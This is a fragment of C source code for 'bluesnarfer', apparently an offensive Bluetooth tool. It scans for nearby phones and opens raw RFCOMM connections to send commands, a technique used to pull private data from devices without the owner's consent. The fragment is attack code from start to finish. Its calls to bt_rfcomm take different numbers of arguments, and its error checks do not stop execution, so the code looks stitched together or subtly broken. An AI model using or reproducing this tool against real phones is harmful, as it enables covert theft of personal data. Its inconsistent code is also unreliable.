int bluesnarfer(struct opt options) { FILE *fd; signal(SIGINT, (void *)bt_rfcomm_rel); signal(SIGSEGV, (void *)bt_rfcomm_rel); if ((device = hci_for_each_dev(HCI_UP, 0x00, 0)) < 0 ) fprintf(stderr, "bluesnarfer: hci_for_each_dev , %s\n", strerror(errno)); if ( bt_get_remote_name(options.bd_addr) < 0 ) fprintf(stderr, "bluesnarfer: unable to get device name\n"); if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_RFCOMM)) < 0 ) fprintf(stderr, "bluesnarfer: Can't open RFCOMM control socket"); if (!(fd = bt_rfcomm(ctl, options.bd_addr, options.channel))) fprintf(stderr,"bluesnarfer: unable to create rfcomm connection\n"); if ( switch_cmd(fd, options) < 0 ) fprintf(stderr, "bluesnarfer: send_cmd failed\n"); bt_rfcomm_rel(); return 0; }
static int scan(int dev_id, int s) { inquiry_info *info = NULL; int max, len, flags; char addr[18], name[256]; int i, sock; len = 4; max = 100; flags = IREQ_CACHE_FLUSH; max = hci_inquiry(dev_id, len, max, NULL, &info, flags); if (max == -1) { perror("hci_inquiry"); return -1; } for (i = 0; i < max; i++) { if (bt_cache_find(&info[i].bdaddr)) continue; sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_RFCOMM); if (sock == -1) { perror("socket"); continue; } if (bt_bind(sock, dev_id, &info[i].bdaddr)) continue; if (hci_read_remote_name(s, &info[i].bdaddr, sizeof(name), name, 2)) name[0] = '\0'; ba2str(&info[i].bdaddr, addr); printf("<phone btaddr=\"%s\" name=\"%s\">\n", addr, name); fflush(stdout); bt_rfcomm(dev_id); bt_release(sock, dev_id); close(sock); puts("</phone>"); fflush(stdout); bt_cache_add(&info[i].bdaddr); } free(info); return 0; }